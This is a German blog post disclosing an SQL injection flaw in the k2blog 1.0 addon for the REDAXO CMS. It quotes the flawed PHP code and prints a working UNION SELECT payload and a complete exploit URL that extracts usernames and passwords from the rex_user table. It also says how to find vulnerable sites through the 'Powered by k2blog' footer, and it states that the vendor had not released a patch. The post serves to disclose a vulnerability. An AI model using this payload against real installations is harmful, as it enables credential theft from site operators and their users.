SQL-Injection in k2blog 1.0 für REDAXO
Vor gut drei Wochen habe ich aus purer Langeweile mal eines der Blog-AddOns für REDAXO unter die Lupe genommen und bin dabei prompt auf (mindestens) eine Lücke gestoßen.
Das AddOn kann von webdesigns rosenheim runtergeladen werden und sollte in jedem REDAXO 4.2+ laufen (na ja, um genau zu sein, man sollte es lieber nicht laufen lassen).
Die Ausgabe im Frontend wird von einem Wust von Queries, HTML-Strings und einem hart reinprogrammierten Kontrollfluss gesteuert. Das ist es im Prinzip wieder einmal, was dem AddOn das Genick bricht: Stünde eine einfache API bereit, über die Beiträge, Kategorien, Kommentare etc. abgerufen werden können, wäre nicht sofort jede Seite, die das AddOn nutzt, verwundbar. Aber neeein, ohne ein fertiges Frontend, das nur noch mit ein wenig reingeworfenem CSS umgestyled werden muss, darf es ja keine AddOns im REDAXO-Universum geben. Schade.
Doch zur eigentlichen Lücke. Die classes/class.k2blog.output.php (nicht vom Namen täuschen lassen, das ist nur ein langes Script) ruft eine ganze Reihe von Parametern ab:
/*Wenn es per POST übergebene Variablen gibt, dann diese holen*/
$continue_entry = mysql_real_escape_string(rex_request('continue_nr','string'));
$entry_count = mysql_real_escape_string(rex_request('entry_count','string'));
$blog_function = mysql_real_escape_string(rex_request('blog_function','string'));
$blog_article = mysql_real_escape_string(rex_request('blog_article','string'));
$selected_cat = mysql_real_escape_string(rex_request('selected_cat','string'));
In Zeile 579 wird das Escaping dann effektiv ausgehebelt:
k2blog_get_entries2($article_id,$continue_entry,$entry_count,$entries,$navigation,"WHERE entry_cat=$selected_cat","ORDER BY entry_id DESC")
Der interessante Teil ist hier entry_cat=$selected_cat. Hier hilft das Escaping wenig bis gar nichts, da ein Angreifer sich gar nicht erst die Mühe machen muss, aus einem String auszubrechen. Wozu man das wohl ausnutzen könnte?
Wenn wir uns die k2blog_get_entries2-Funktion näher ansehen, entdecken wir:
$_sql->getArray("SELECT *,DATE_FORMAT(entry_create_date,'".$I18N_K2BLOG->msg('entry_date_format')."') AS entry_create_date_F FROM ".$table."_entries $where $sort LIMIT $start,$length");
Wobei $where dem o.g. Statement (6. Parameter) entspricht. Wir stehen also vor der folgenden Möglichkeit:
SELECT * FROM irgendeine_tabelle WHERE entry_cat=[...] ORDER BY entry_id DESC LIMIT 1,1
Der install.sql entnehmen wir, dass die Spalte, die den Content enthält, die dritte sein muss. Und damit ist der Masterplan klar: Original-Query ins Nirvana umleiten und mittels UNION eine eigene Abfrage ausführen, deren dritte Spalte die sensiblen Daten enthält. Je nach zweiter Query müssen dann noch die ORDER BY- und LIMIT-Klauseln verschwinden.
Nun ist es nicht mehr weit. Die Injection gestaltet sich wie folgt:
-1 UNION SELECT 0,0,CONCAT(user,CHAR(32),psw),0,0,0,0,0,0,0,0,0 FROM rex_user WHERE 1 --
Man beachte, dass die obige Query keine Quotes enthält und daher mysql_real_escape_string unbeschadet übersteht. Fügen wir dieses Stückchen in das o.g. SQL ein, erhalten wir:
SELECT * FROM irgendeine_tabelle WHERE entry_cat=-1 UNION SELECT 0,0,CONCAT(user,CHAR(32),psw),0,0,0,0,0,0,0,0,0 FROM rex_user WHERE 1 -- ORDER BY entry_id DESC LIMIT 1,1
Als GET-Parameter verpackt müsste die URL wie folgt aussehen:
http://example.com/rex/index.php?article_id=X&blog_function=sc&selected_cat=-1%20UNION%20SELECT%200,0,CONCAT(login,CHAR(32),psw),NOW(),NOW(),0,0,0,0,NOW(),0,0%20FROM%20rex_user%20WHERE%201%20--
Und schon erhalten wir pro Benutzer eine Kategorie, deren Titel “user passwort” ist. Hat man nun noch eine Seite gefunden, bei der Passwörter nicht gehashed in der Datenbank liegen… pwnd.
(Der Höflichkeits-Disclaimer “Powered by k2blog” macht es wirklich einfach, Installationen über die eigene Lieblings-Suchmaschine zu finden…)
Happy Hacking…
Hinweis: Ich habe den Hersteller am 6. März 2011 per eMail über die Lücke informiert. Ein Update wurde zügig versprochen, aber bis heute nicht veröffentlicht.